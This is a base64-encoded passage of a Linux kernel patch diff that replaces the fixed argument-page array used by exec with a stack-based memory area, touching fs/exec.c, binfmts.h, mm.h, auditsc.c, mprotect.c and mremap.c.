dG8sICpmcm9tOwotCi0JLyogU3RhcnQgYnkgc2hpZnRpbmcgYWxsIHRoZSBwYWdlcyBkb3duICov
Ci0JaSA9IDA7Ci0JZm9yIChqID0gMDsgaiA8IE1BWF9BUkdfUEFHRVM7IGorKykgewotCQlzdHJ1
Y3QgcGFnZSAqcGFnZSA9IGJwcm0tPnBhZ2Vbal07Ci0JCWlmICghcGFnZSkKLQkJCWNvbnRpbnVl
OwotCQlicHJtLT5wYWdlW2krK10gPSBwYWdlOwotCX0KKwlCVUdfT04oc3RhY2tfdG9wID4gVEFT
S19TSVpFKTsKKwlCVUdfT04oc3RhY2tfdG9wICYgflBBR0VfTUFTSyk7CiAKLQkvKiBOb3cgbW92
ZSB0aGVtIHdpdGhpbiB0aGVpciBwYWdlcyAqLwotCW9mZnNldCA9IGJwcm0tPnAgJSBQQUdFX1NJ
WkU7Ci0JdG8gPSBrbWFwKGJwcm0tPnBhZ2VbMF0pOwotCWZvciAoaiA9IDE7IGogPCBpOyBqKysp
IHsKLQkJbWVtbW92ZSh0bywgdG8gKyBvZmZzZXQsIFBBR0VfU0laRSAtIG9mZnNldCk7Ci0JCWZy
b20gPSBrbWFwKGJwcm0tPnBhZ2Vbal0pOwotCQltZW1jcHkodG8gKyBQQUdFX1NJWkUgLSBvZmZz
ZXQsIGZyb20sIG9mZnNldCk7Ci0JCWt1bm1hcChicHJtLT5wYWdlW2ogLSAxXSk7Ci0JCXRvID0g
ZnJvbTsKLQl9Ci0JbWVtbW92ZSh0bywgdG8gKyBvZmZzZXQsIFBBR0VfU0laRSAtIG9mZnNldCk7
Ci0Ja3VubWFwKGJwcm0tPnBhZ2VbaiAtIDFdKTsKLQotCS8qIExpbWl0IHN0YWNrIHNpemUgdG8g
MUdCICovCi0Jc3RhY2tfYmFzZSA9IGN1cnJlbnQtPnNpZ25hbC0+cmxpbVtSTElNSVRfU1RBQ0td
LnJsaW1fbWF4OwotCWlmIChzdGFja19iYXNlID4gKDEgPDwgMzApKQotCQlzdGFja19iYXNlID0g
MSA8PCAzMDsKLQlzdGFja19iYXNlID0gUEFHRV9BTElHTihzdGFja190b3AgLSBzdGFja19iYXNl
KTsKLQotCS8qIEFkanVzdCBicHJtLT5wIHRvIHBvaW50IHRvIHRoZSBlbmQgb2YgdGhlIHN0cmlu
Z3MuICovCi0JYnBybS0+cCA9IHN0YWNrX2Jhc2UgKyBQQUdFX1NJWkUgKiBpIC0gb2Zmc2V0Owot
Ci0JbW0tPmFyZ19zdGFydCA9IHN0YWNrX2Jhc2U7Ci0JYXJnX3NpemUgPSBpIDw8IFBBR0VfU0hJ
RlQ7Ci0KLQkvKiB6ZXJvIHBhZ2VzIHRoYXQgd2VyZSBjb3BpZWQgYWJvdmUgKi8KLQl3aGlsZSAo
aSA8IE1BWF9BUkdfUEFHRVMpCi0JCWJwcm0tPnBhZ2VbaSsrXSA9IE5VTEw7Ci0jZWxzZQotCXN0
YWNrX2Jhc2UgPSBhcmNoX2FsaWduX3N0YWNrKHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMqUEFH
RV9TSVpFKTsKKwlzdGFja19iYXNlID0gYXJjaF9hbGlnbl9zdGFjayhzdGFja190b3AgLSBtbS0+
c3RhY2tfdm0qUEFHRV9TSVpFKTsKIAlzdGFja19iYXNlID0gUEFHRV9BTElHTihzdGFja19iYXNl
KTsKLQlicHJtLT5wICs9IHN0YWNrX2Jhc2U7Ci0JbW0tPmFyZ19zdGFydCA9IGJwcm0tPnA7Ci0J
YXJnX3NpemUgPSBzdGFja190b3AgLSAoUEFHRV9NQVNLICYgKHVuc2lnbmVkIGxvbmcpIG1tLT5h
cmdfc3RhcnQpOwotI2VuZGlmCiAKLQlhcmdfc2l6ZSArPSBFWFRSQV9TVEFDS19WTV9QQUdFUyAq
IFBBR0VfU0laRTsKKwlzdGFja19zaGlmdCA9IChicHJtLT5wICYgUEFHRV9NQVNLKSAtIHN0YWNr
X2Jhc2U7CisJQlVHX09OKHN0YWNrX3NoaWZ0IDwgMCk7CisJYnBybS0+cCAtPSBzdGFja19zaGlm
dDsKKwltbS0+YXJnX3N0YXJ0ID0gYnBybS0+cDsKIAogCWlmIChicHJtLT5sb2FkZXIpCi0JCWJw
cm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0tPmV4ZWMgKz0gc3RhY2tfYmFzZTsKLQot
CW1wbnQgPSBrbWVtX2NhY2hlX2FsbG9jKHZtX2FyZWFfY2FjaGVwLCBTTEFCX0tFUk5FTCk7Ci0J
aWYgKCFtcG50KQotCQlyZXR1cm4gLUVOT01FTTsKLQotCW1lbXNldChtcG50LCAwLCBzaXplb2Yo
Km1wbnQpKTsKKwkJYnBybS0+bG9hZGVyIC09IHN0YWNrX3NoaWZ0OworCWJwcm0tPmV4ZWMgLT0g
c3RhY2tfc2hpZnQ7CiAKIAlkb3duX3dyaXRlKCZtbS0+bW1hcF9zZW0pOwogCXsKLQkJbXBudC0+
dm1fbW0gPSBtbTsKLSNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAotCQltcG50LT52bV9zdGFy
dCA9IHN0YWNrX2Jhc2U7Ci0JCW1wbnQtPnZtX2VuZCA9IHN0YWNrX2Jhc2UgKyBhcmdfc2l6ZTsK
LSNlbHNlCi0JCW1wbnQtPnZtX2VuZCA9IHN0YWNrX3RvcDsKLQkJbXBudC0+dm1fc3RhcnQgPSBt
cG50LT52bV9lbmQgLSBhcmdfc2l6ZTsKLSNlbmRpZgorCQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3Qg
KnZtYSA9IGJwcm0tPnZtYTsKKwkJc3RydWN0IHZtX2FyZWFfc3RydWN0ICpwcmV2ID0gTlVMTDsK
KwkJdW5zaWduZWQgbG9uZyB2bV9mbGFncyA9IHZtYS0+dm1fZmxhZ3M7CisKIAkJLyogQWRqdXN0
IHN0YWNrIGV4ZWN1dGUgcGVybWlzc2lvbnM7IGV4cGxpY2l0bHkgZW5hYmxlCiAJCSAqIGZvciBF
WFNUQUNLX0VOQUJMRV9YLCBkaXNhYmxlIGZvciBFWFNUQUNLX0RJU0FCTEVfWAogCQkgKiBhbmQg
bGVhdmUgYWxvbmUgKGFyY2ggZGVmYXVsdCkgb3RoZXJ3aXNlLiAqLwogCQlpZiAodW5saWtlbHko
ZXhlY3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0VOQUJMRV9YKSkKLQkJCW1wbnQtPnZtX2ZsYWdz
ID0gVk1fU1RBQ0tfRkxBR1MgfCAgVk1fRVhFQzsKKwkJCXZtX2ZsYWdzIHw9IFZNX0VYRUM7CiAJ
CWVsc2UgaWYgKGV4ZWN1dGFibGVfc3RhY2sgPT0gRVhTVEFDS19ESVNBQkxFX1gpCi0JCQltcG50
LT52bV9mbGFncyA9IFZNX1NUQUNLX0ZMQUdTICYgflZNX0VYRUM7Ci0JCWVsc2UKLQkJCW1wbnQt
PnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1M7Ci0JCW1wbnQtPnZtX2ZsYWdzIHw9IG1tLT5kZWZf
ZmxhZ3M7Ci0JCW1wbnQtPnZtX3BhZ2VfcHJvdCA9IHByb3RlY3Rpb25fbWFwW21wbnQtPnZtX2Zs
YWdzICYgMHg3XTsKLQkJaWYgKChyZXQgPSBpbnNlcnRfdm1fc3RydWN0KG1tLCBtcG50KSkpIHsK
KwkJCXZtX2ZsYWdzICY9IH5WTV9FWEVDOworCQl2bV9mbGFncyB8PSBtbS0+ZGVmX2ZsYWdzOwor
CisJCXJldCA9IG1wcm90ZWN0X2ZpeHVwKHZtYSwgJnByZXYsIHZtYS0+dm1fc3RhcnQsIHZtYS0+
dm1fZW5kLAorCQkJCXZtX2ZsYWdzKTsKKwkJaWYgKHJldCkgewogCQkJdXBfd3JpdGUoJm1tLT5t
bWFwX3NlbSk7Ci0JCQlrbWVtX2NhY2hlX2ZyZWUodm1fYXJlYV9jYWNoZXAsIG1wbnQpOwogCQkJ
cmV0dXJuIHJldDsKIAkJfQotCQltbS0+c3RhY2tfdm0gPSBtbS0+dG90YWxfdm0gPSB2bWFfcGFn
ZXMobXBudCk7Ci0JfQorCQlCVUdfT04ocHJldiAhPSB2bWEpOworCisJCS8qIE1vdmUgc3RhY2sg
cGFnZXMgZG93biBpbiBtZW1vcnkuICovCisJCWlmIChzdGFja19zaGlmdCkgeworCQkJLyogVGhp
cyBzaG91bGQgYmUgc2FmZSBldmVuIHdpdGggb3ZlcmxhcCBiZWNhdXNlIHdlCisJCQkgKiBhcmUg
c2hpZnRpbmcgZG93bi4gKi8KKwkJCXJldCA9IG1vdmVfdm1hKHZtYSwgdm1hLT52bV9zdGFydCwK
KwkJCQkJdm1hLT52bV9lbmQgLSB2bWEtPnZtX3N0YXJ0LAorCQkJCQl2bWEtPnZtX2VuZCAtIHZt
YS0+dm1fc3RhcnQsCisJCQkJCXZtYS0+dm1fc3RhcnQgLSBzdGFja19zaGlmdCk7CisJCQlpZiAo
cmV0ICYgflBBR0VfTUFTSykgeworCQkJCXVwX3dyaXRlKCZtbS0+bW1hcF9zZW0pOworCQkJCXJl
dHVybiByZXQ7CisJCQl9CisJCX0KIAotCWZvciAoaSA9IDAgOyBpIDwgTUFYX0FSR19QQUdFUyA7
IGkrKykgewotCQlzdHJ1Y3QgcGFnZSAqcGFnZSA9IGJwcm0tPnBhZ2VbaV07Ci0JCWlmIChwYWdl
KSB7Ci0JCQlicHJtLT5wYWdlW2ldID0gTlVMTDsKLQkJCWluc3RhbGxfYXJnX3BhZ2UobXBudCwg
cGFnZSwgc3RhY2tfYmFzZSk7CisJCS8vIEV4cGFuZCB0aGUgc3RhY2suCisJCXZtYSA9IGZpbmRf
dm1hKG1tLCBicHJtLT5wKTsKKwkJQlVHX09OKCF2bWEgfHwgYnBybS0+cCA8IHZtYS0+dm1fc3Rh
cnQpOworCQlpZiAoZXhwYW5kX3N0YWNrKHZtYSwgc3RhY2tfYmFzZSAtCisJCQkJCUVYVFJBX1NU
QUNLX1ZNX1BBR0VTICogUEFHRV9TSVpFKSkgeworCQkJdXBfd3JpdGUoJm1tLT5tbWFwX3NlbSk7
CisJCQlyZXR1cm4gLUVGQVVMVDsKIAkJfQotCQlzdGFja19iYXNlICs9IFBBR0VfU0laRTsKIAl9
CiAJdXBfd3JpdGUoJm1tLT5tbWFwX3NlbSk7CiAJCkBAIC00NTQsMjMgKzQ0OSw2IEBAICNlbmRp
ZgogCiBFWFBPUlRfU1lNQk9MKHNldHVwX2FyZ19wYWdlcyk7CiAKLSNkZWZpbmUgZnJlZV9hcmdf
cGFnZXMoYnBybSkgZG8geyB9IHdoaWxlICgwKQotCi0jZWxzZQotCi1zdGF0aWMgaW5saW5lIHZv
aWQgZnJlZV9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKLXsKLQlpbnQgaTsK
LQotCWZvciAoaSA9IDA7IGkgPCBNQVhfQVJHX1BBR0VTOyBpKyspIHsKLQkJaWYgKGJwcm0tPnBh
Z2VbaV0pCi0JCQlfX2ZyZWVfcGFnZShicHJtLT5wYWdlW2ldKTsKLQkJYnBybS0+cGFnZVtpXSA9
IE5VTEw7Ci0JfQotfQotCi0jZW5kaWYgLyogQ09ORklHX01NVSAqLwotCiBzdHJ1Y3QgZmlsZSAq
b3Blbl9leGVjKGNvbnN0IGNoYXIgKm5hbWUpCiB7CiAJc3RydWN0IG5hbWVpZGF0YSBuZDsKQEAg
LTk4Niw4ICs5NjQsMTAgQEAgdm9pZCBjb21wdXRlX2NyZWRzKHN0cnVjdCBsaW51eF9iaW5wcm0g
KgogCiBFWFBPUlRfU1lNQk9MKGNvbXB1dGVfY3JlZHMpOwogCi12b2lkIHJlbW92ZV9hcmdfemVy
byhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKQoraW50IHJlbW92ZV9hcmdfemVybyhzdHJ1Y3Qg
bGludXhfYmlucHJtICpicHJtKQogeworCWludCByZXQgPSAwOworCiAJaWYgKGJwcm0tPmFyZ2Mp
IHsKIAkJdW5zaWduZWQgbG9uZyBvZmZzZXQ7CiAJCWNoYXIgKiBrYWRkcjsKQEAgLTEwMDEsMTMg
Kzk4MSwyMyBAQCB2b2lkIHJlbW92ZV9hcmdfemVybyhzdHJ1Y3QgbGludXhfYmlucHJtCiAJCQkJ
Y29udGludWU7CiAJCQlvZmZzZXQgPSAwOwogCQkJa3VubWFwX2F0b21pYyhrYWRkciwgS01fVVNF
UjApOworCQkJcHV0X3BhZ2UocGFnZSk7CiBpbnNpZGU6Ci0JCQlwYWdlID0gYnBybS0+cGFnZVti
cHJtLT5wL1BBR0VfU0laRV07CisJCQlyZXQgPSBnZXRfdXNlcl9wYWdlcyhjdXJyZW50LCBicHJt
LT5tbSwgYnBybS0+cCwKKwkJCQkJICAgICAxLCAwLCAxLCAmcGFnZSwgTlVMTCk7CisJCQlpZiAo
cmV0IDw9IDApIHsKKwkJCQlyZXQgPSAtRUZBVUxUOworCQkJCWdvdG8gb3V0OworCQkJfQogCQkJ
a2FkZHIgPSBrbWFwX2F0b21pYyhwYWdlLCBLTV9VU0VSMCk7CiAJCX0KIAkJa3VubWFwX2F0b21p
YyhrYWRkciwgS01fVVNFUjApOwogCQlicHJtLT5hcmdjLS07CisJCXJldCA9IDA7CiAJfQorCitv
dXQ6CisJcmV0dXJuIHJldDsKIH0KIAogRVhQT1JUX1NZTUJPTChyZW1vdmVfYXJnX3plcm8pOwpA
QCAtMTAzNCw3ICsxMDI0LDcgQEAgI2lmZGVmIF9fYWxwaGFfXwogCQlmcHV0KGJwcm0tPmZpbGUp
OwogCQlicHJtLT5maWxlID0gTlVMTDsKIAotCSAgICAgICAgbG9hZGVyID0gUEFHRV9TSVpFKk1B
WF9BUkdfUEFHRVMtc2l6ZW9mKHZvaWQgKik7CisJICAgICAgICBsb2FkZXIgPSBicHJtLT52bWEt
PnZtX2VuZCAtIHNpemVvZih2b2lkICopOwogCiAJCWZpbGUgPSBvcGVuX2V4ZWMoIi9zYmluL2xv
YWRlciIpOwogCQlyZXR2YWwgPSBQVFJfRVJSKGZpbGUpOwpAQCAtMTEyNyw3ICsxMTE3LDYgQEAg
aW50IGRvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUsCiAJc3RydWN0IGxpbnV4X2JpbnBybSAqYnBy
bTsKIAlzdHJ1Y3QgZmlsZSAqZmlsZTsKIAlpbnQgcmV0dmFsOwotCWludCBpOwogCiAJcmV0dmFs
ID0gLUVOT01FTTsKIAlicHJtID0ga3phbGxvYyhzaXplb2YoKmJwcm0pLCBHRlBfS0VSTkVMKTsK
QEAgLTExNDEsMjUgKzExMzAsMTkgQEAgaW50IGRvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUsCiAK
IAlzY2hlZF9leGVjKCk7CiAKLQlicHJtLT5wID0gUEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMtc2l6
ZW9mKHZvaWQgKik7Ci0KIAlicHJtLT5maWxlID0gZmlsZTsKIAlicHJtLT5maWxlbmFtZSA9IGZp
bGVuYW1lOwogCWJwcm0tPmludGVycCA9IGZpbGVuYW1lOwotCWJwcm0tPm1tID0gbW1fYWxsb2Mo
KTsKLQlyZXR2YWwgPSAtRU5PTUVNOwotCWlmICghYnBybS0+bW0pCi0JCWdvdG8gb3V0X2ZpbGU7
CiAKLQlyZXR2YWwgPSBpbml0X25ld19jb250ZXh0KGN1cnJlbnQsIGJwcm0tPm1tKTsKLQlpZiAo
cmV0dmFsIDwgMCkKLQkJZ290byBvdXRfbW07CisJcmV0dmFsID0gYnBybV9tbV9pbml0KGJwcm0p
OworCWlmIChyZXR2YWwpCisJCWdvdG8gb3V0X2ZpbGU7CiAKLQlicHJtLT5hcmdjID0gY291bnQo
YXJndiwgYnBybS0+cCAvIHNpemVvZih2b2lkICopKTsKKwlicHJtLT5hcmdjID0gY291bnQoYXJn
diwgTUFYX0FSR19TVFJJTkdTKTsKIAlpZiAoKHJldHZhbCA9IGJwcm0tPmFyZ2MpIDwgMCkKIAkJ
Z290byBvdXRfbW07CiAKLQlicHJtLT5lbnZjID0gY291bnQoZW52cCwgYnBybS0+cCAvIHNpemVv
Zih2b2lkICopKTsKKwlicHJtLT5lbnZjID0gY291bnQoZW52cCwgTUFYX0FSR19TVFJJTkdTKTsK
IAlpZiAoKHJldHZhbCA9IGJwcm0tPmVudmMpIDwgMCkKIAkJZ290byBvdXRfbW07CiAKQEAgLTEx
ODYsOCArMTE2OSw2IEBAIGludCBkb19leGVjdmUoY2hhciAqIGZpbGVuYW1lLAogCiAJcmV0dmFs
ID0gc2VhcmNoX2JpbmFyeV9oYW5kbGVyKGJwcm0scmVncyk7CiAJaWYgKHJldHZhbCA+PSAwKSB7
Ci0JCWZyZWVfYXJnX3BhZ2VzKGJwcm0pOwotCiAJCS8qIGV4ZWN2ZSBzdWNjZXNzICovCiAJCXNl
Y3VyaXR5X2Jwcm1fZnJlZShicHJtKTsKIAkJYWNjdF91cGRhdGVfaW50ZWdyYWxzKGN1cnJlbnQp
OwpAQCAtMTE5NiwxOSArMTE3NywxMiBAQCBpbnQgZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwK
IAl9CiAKIG91dDoKLQkvKiBTb21ldGhpbmcgd2VudCB3cm9uZywgcmV0dXJuIHRoZSBpbm9kZSBh
bmQgZnJlZSB0aGUgYXJndW1lbnQgcGFnZXMqLwotCWZvciAoaSA9IDAgOyBpIDwgTUFYX0FSR19Q
QUdFUyA7IGkrKykgewotCQlzdHJ1Y3QgcGFnZSAqIHBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQlp
ZiAocGFnZSkKLQkJCV9fZnJlZV9wYWdlKHBhZ2UpOwotCX0KLQogCWlmIChicHJtLT5zZWN1cml0
eSkKIAkJc2VjdXJpdHlfYnBybV9mcmVlKGJwcm0pOwogCiBvdXRfbW06CiAJaWYgKGJwcm0tPm1t
KQotCQltbWRyb3AoYnBybS0+bW0pOworCQltbXB1dCAoYnBybS0+bW0pOwogCiBvdXRfZmlsZToK
IAlpZiAoYnBybS0+ZmlsZSkgewpkaWZmIC0tZ2l0IGEvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgg
Yi9pbmNsdWRlL2xpbnV4L2JpbmZtdHMuaAppbmRleCBjMWU4MmM1Li4zZTExNTkxIDEwMDY0NAot
LS0gYS9pbmNsdWRlL2xpbnV4L2JpbmZtdHMuaAorKysgYi9pbmNsdWRlL2xpbnV4L2JpbmZtdHMu
aApAQCAtNSwxMiArNSw5IEBAICNpbmNsdWRlIDxsaW51eC9jYXBhYmlsaXR5Lmg+CiAKIHN0cnVj
dCBwdF9yZWdzOwogCi0vKgotICogTUFYX0FSR19QQUdFUyBkZWZpbmVzIHRoZSBudW1iZXIgb2Yg
cGFnZXMgYWxsb2NhdGVkIGZvciBhcmd1bWVudHMKLSAqIGFuZCBlbnZlbG9wZSBmb3IgdGhlIG5l
dyBwcm9ncmFtLiAzMiBzaG91bGQgc3VmZmljZSwgdGhpcyBnaXZlcwotICogYSBtYXhpbXVtIGVu
dithcmcgb2YgMTI4a0Igdy80S0IgcGFnZXMhCi0gKi8KLSNkZWZpbmUgTUFYX0FSR19QQUdFUyAz
MgorLyogRklYTUU6IEZpbmQgcmVhbCBsaW1pdHMsIG9yIG5vbmUuICovCisjZGVmaW5lIE1BWF9B
UkdfU1RSTEVOIChQQUdFX1NJWkUgKiAzMikKKyNkZWZpbmUgTUFYX0FSR19TVFJJTkdTIDB4N0ZG
RkZGRkYKIAogLyogc2l6ZW9mKGxpbnV4X2JpbnBybS0+YnVmKSAqLwogI2RlZmluZSBCSU5QUk1f
QlVGX1NJWkUgMTI4CkBAIC0yMiw3ICsxOSw3IEBAICNpZmRlZiBfX0tFUk5FTF9fCiAgKi8KIHN0
cnVjdCBsaW51eF9iaW5wcm17CiAJY2hhciBidWZbQklOUFJNX0JVRl9TSVpFXTsKLQlzdHJ1Y3Qg
cGFnZSAqcGFnZVtNQVhfQVJHX1BBR0VTXTsKKwlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYTsK
IAlzdHJ1Y3QgbW1fc3RydWN0ICptbTsKIAl1bnNpZ25lZCBsb25nIHA7IC8qIGN1cnJlbnQgdG9w
IG9mIG1lbSAqLwogCWludCBzaF9iYW5nOwpAQCAtNjUsNyArNjIsNyBAQCBleHRlcm4gaW50IHJl
Z2lzdGVyX2JpbmZtdChzdHJ1Y3QgbGludXhfCiBleHRlcm4gaW50IHVucmVnaXN0ZXJfYmluZm10
KHN0cnVjdCBsaW51eF9iaW5mbXQgKik7CiAKIGV4dGVybiBpbnQgcHJlcGFyZV9iaW5wcm0oc3Ry
dWN0IGxpbnV4X2JpbnBybSAqKTsKLWV4dGVybiB2b2lkIHJlbW92ZV9hcmdfemVybyhzdHJ1Y3Qg
bGludXhfYmlucHJtICopOworZXh0ZXJuIGludCBfX211c3RfY2hlY2sgcmVtb3ZlX2FyZ196ZXJv
KHN0cnVjdCBsaW51eF9iaW5wcm0gKik7CiBleHRlcm4gaW50IHNlYXJjaF9iaW5hcnlfaGFuZGxl
cihzdHJ1Y3QgbGludXhfYmlucHJtICosc3RydWN0IHB0X3JlZ3MgKik7CiBleHRlcm4gaW50IGZs
dXNoX29sZF9leGVjKHN0cnVjdCBsaW51eF9iaW5wcm0gKiBicHJtKTsKIApAQCAtODIsNiArNzks
NyBAQCAjZGVmaW5lIEVYU1RBQ0tfRU5BQkxFX1ggIDIJLyogRW5hYmxlIGV4CiBleHRlcm4gaW50
IHNldHVwX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICogYnBybSwKIAkJCSAgIHVuc2ln
bmVkIGxvbmcgc3RhY2tfdG9wLAogCQkJICAgaW50IGV4ZWN1dGFibGVfc3RhY2spOworZXh0ZXJu
IGludCBicHJtX21tX2luaXQoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSk7CiBleHRlcm4gaW50
IGNvcHlfc3RyaW5nc19rZXJuZWwoaW50IGFyZ2MsY2hhciAqKiBhcmd2LHN0cnVjdCBsaW51eF9i
aW5wcm0gKmJwcm0pOwogZXh0ZXJuIHZvaWQgY29tcHV0ZV9jcmVkcyhzdHJ1Y3QgbGludXhfYmlu
cHJtICpiaW5wcm0pOwogZXh0ZXJuIGludCBkb19jb3JlZHVtcChsb25nIHNpZ25yLCBpbnQgZXhp
dF9jb2RlLCBzdHJ1Y3QgcHRfcmVncyAqIHJlZ3MpOwpkaWZmIC0tZ2l0IGEvaW5jbHVkZS9saW51
eC9tbS5oIGIvaW5jbHVkZS9saW51eC9tbS5oCmluZGV4IDI2MTQ2NjIuLmJiMWQ0YzkgMTAwNjQ0
Ci0tLSBhL2luY2x1ZGUvbGludXgvbW0uaAorKysgYi9pbmNsdWRlL2xpbnV4L21tLmgKQEAgLTcz
OCw3ICs3MzgsNiBAQCAjZW5kaWYKIAogZXh0ZXJuIGludCBtYWtlX3BhZ2VzX3ByZXNlbnQodW5z
aWduZWQgbG9uZyBhZGRyLCB1bnNpZ25lZCBsb25nIGVuZCk7CiBleHRlcm4gaW50IGFjY2Vzc19w
cm9jZXNzX3ZtKHN0cnVjdCB0YXNrX3N0cnVjdCAqdHNrLCB1bnNpZ25lZCBsb25nIGFkZHIsIHZv
aWQgKmJ1ZiwgaW50IGxlbiwgaW50IHdyaXRlKTsKLXZvaWQgaW5zdGFsbF9hcmdfcGFnZShzdHJ1
Y3Qgdm1fYXJlYV9zdHJ1Y3QgKiwgc3RydWN0IHBhZ2UgKiwgdW5zaWduZWQgbG9uZyk7CiAKIGlu
dCBnZXRfdXNlcl9wYWdlcyhzdHJ1Y3QgdGFza19zdHJ1Y3QgKnRzaywgc3RydWN0IG1tX3N0cnVj
dCAqbW0sIHVuc2lnbmVkIGxvbmcgc3RhcnQsCiAJCWludCBsZW4sIGludCB3cml0ZSwgaW50IGZv
cmNlLCBzdHJ1Y3QgcGFnZSAqKnBhZ2VzLCBzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKip2bWFzKTsK
QEAgLTc1NCw5ICs3NTMsMTUgQEAgaW50IEZBU1RDQUxMKHNldF9wYWdlX2RpcnR5KHN0cnVjdCBw
YWdlIAogaW50IHNldF9wYWdlX2RpcnR5X2xvY2soc3RydWN0IHBhZ2UgKnBhZ2UpOwogaW50IGNs
ZWFyX3BhZ2VfZGlydHlfZm9yX2lvKHN0cnVjdCBwYWdlICpwYWdlKTsKIAorZXh0ZXJuIHVuc2ln
bmVkIGxvbmcgbW92ZV92bWEoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCisJCXVuc2lnbmVk
IGxvbmcgb2xkX2FkZHIsIHVuc2lnbmVkIGxvbmcgb2xkX2xlbiwKKwkJdW5zaWduZWQgbG9uZyBu
ZXdfbGVuLCB1bnNpZ25lZCBsb25nIG5ld19hZGRyKTsKIGV4dGVybiB1bnNpZ25lZCBsb25nIGRv
X21yZW1hcCh1bnNpZ25lZCBsb25nIGFkZHIsCiAJCQkgICAgICAgdW5zaWduZWQgbG9uZyBvbGRf
bGVuLCB1bnNpZ25lZCBsb25nIG5ld19sZW4sCiAJCQkgICAgICAgdW5zaWduZWQgbG9uZyBmbGFn
cywgdW5zaWduZWQgbG9uZyBuZXdfYWRkcik7CitleHRlcm4gaW50IG1wcm90ZWN0X2ZpeHVwKHN0
cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAorCQkJICBzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKipw
cHJldiwgdW5zaWduZWQgbG9uZyBzdGFydCwKKwkJCSAgdW5zaWduZWQgbG9uZyBlbmQsIHVuc2ln
bmVkIGxvbmcgbmV3ZmxhZ3MpOwogCiAvKgogICogUHJvdG90eXBlIHRvIGFkZCBhIHNocmlua2Vy
IGNhbGxiYWNrIGZvciBhZ2VhYmxlIGNhY2hlcy4KZGlmZiAtLWdpdCBhL2tlcm5lbC9hdWRpdHNj
LmMgYi9rZXJuZWwvYXVkaXRzYy5jCmluZGV4IDQyZjJmMTEuLmQyNWM3M2UgMTAwNjQ0Ci0tLSBh
L2tlcm5lbC9hdWRpdHNjLmMKKysrIGIva2VybmVsL2F1ZGl0c2MuYwpAQCAtMTc0OCw2ICsxNzQ4
LDEwIEBAIGludCBfX2F1ZGl0X2lwY19zZXRfcGVybSh1bnNpZ25lZCBsb25nIHEKIAogaW50IGF1
ZGl0X2Jwcm0oc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKIHsKKwkvKiBGSVhNRTogRG9uJ3Qg
ZG8gYW55dGhpbmcgZm9yIG5vdyB1bnRpbCBJIGZpZ3VyZSBvdXQgaG93IHRvIGhhbmRsZQorCSAq
IHRoaXMuICBXaXRoIHRoZSBsYXRlc3QgY2hhbmdlcywga21hbGxvYyBjb3VsZCB3ZWxsIGZhaWwg
dW5kZXIgZ29vZAorCSAqIHNjZW5hcmlvcy4gKi8KKyNpZiAwCiAJc3RydWN0IGF1ZGl0X2F1eF9k
YXRhX2V4ZWN2ZSAqYXg7CiAJc3RydWN0IGF1ZGl0X2NvbnRleHQgKmNvbnRleHQgPSBjdXJyZW50
LT5hdWRpdF9jb250ZXh0OwogCXVuc2lnbmVkIGxvbmcgcCwgbmV4dDsKQEAgLTE3NzUsNiArMTc3
OSw3IEBAIGludCBhdWRpdF9icHJtKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0KIAlheC0+ZC50
eXBlID0gQVVESVRfRVhFQ1ZFOwogCWF4LT5kLm5leHQgPSBjb250ZXh0LT5hdXg7CiAJY29udGV4
dC0+YXV4ID0gKHZvaWQgKilheDsKKyNlbmRpZgogCXJldHVybiAwOwogfQogCmRpZmYgLS1naXQg
YS9tbS9tcHJvdGVjdC5jIGIvbW0vbXByb3RlY3QuYwppbmRleCAzYjhmM2MwLi5lODM0NmMzIDEw
MDY0NAotLS0gYS9tbS9tcHJvdGVjdC5jCisrKyBiL21tL21wcm90ZWN0LmMKQEAgLTEyOCw3ICsx
MjgsNyBAQCBzdGF0aWMgdm9pZCBjaGFuZ2VfcHJvdGVjdGlvbihzdHJ1Y3Qgdm1fCiAJZmx1c2hf
dGxiX3JhbmdlKHZtYSwgc3RhcnQsIGVuZCk7CiB9CiAKLXN0YXRpYyBpbnQKK2ludAogbXByb3Rl
Y3RfZml4dXAoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHN0cnVjdCB2bV9hcmVhX3N0cnVj
dCAqKnBwcmV2LAogCXVuc2lnbmVkIGxvbmcgc3RhcnQsIHVuc2lnbmVkIGxvbmcgZW5kLCB1bnNp
Z25lZCBsb25nIG5ld2ZsYWdzKQogewpkaWZmIC0tZ2l0IGEvbW0vbXJlbWFwLmMgYi9tbS9tcmVt
YXAuYwppbmRleCA5Yzc2OWZhLi45NTdiNmFmIDEwMDY0NAotLS0gYS9tbS9tcmVtYXAuYworKysg
Yi9tbS9tcmVtYXAuYwpAQCAtMTU1LDcgKzE1NSw3IEBAIHN0YXRpYyB1bnNpZ25lZCBsb25nIG1v
dmVfcGFnZV90YWJsZXMoc3QKIAlyZXR1cm4gbGVuICsgb2xkX2FkZHIgLSBvbGRfZW5kOwkvKiBo
b3cgbXVjaCBkb25lICovCiB9CiAKLXN0YXRpYyB1bnNpZ25lZCBsb25nIG1vdmVfdm1hKHN0cnVj
dCB2bV9hcmVhX3N0cnVjdCAqdm1hLAordW5zaWduZWQgbG9uZyBtb3ZlX3ZtYShzdHJ1Y3Qgdm1f
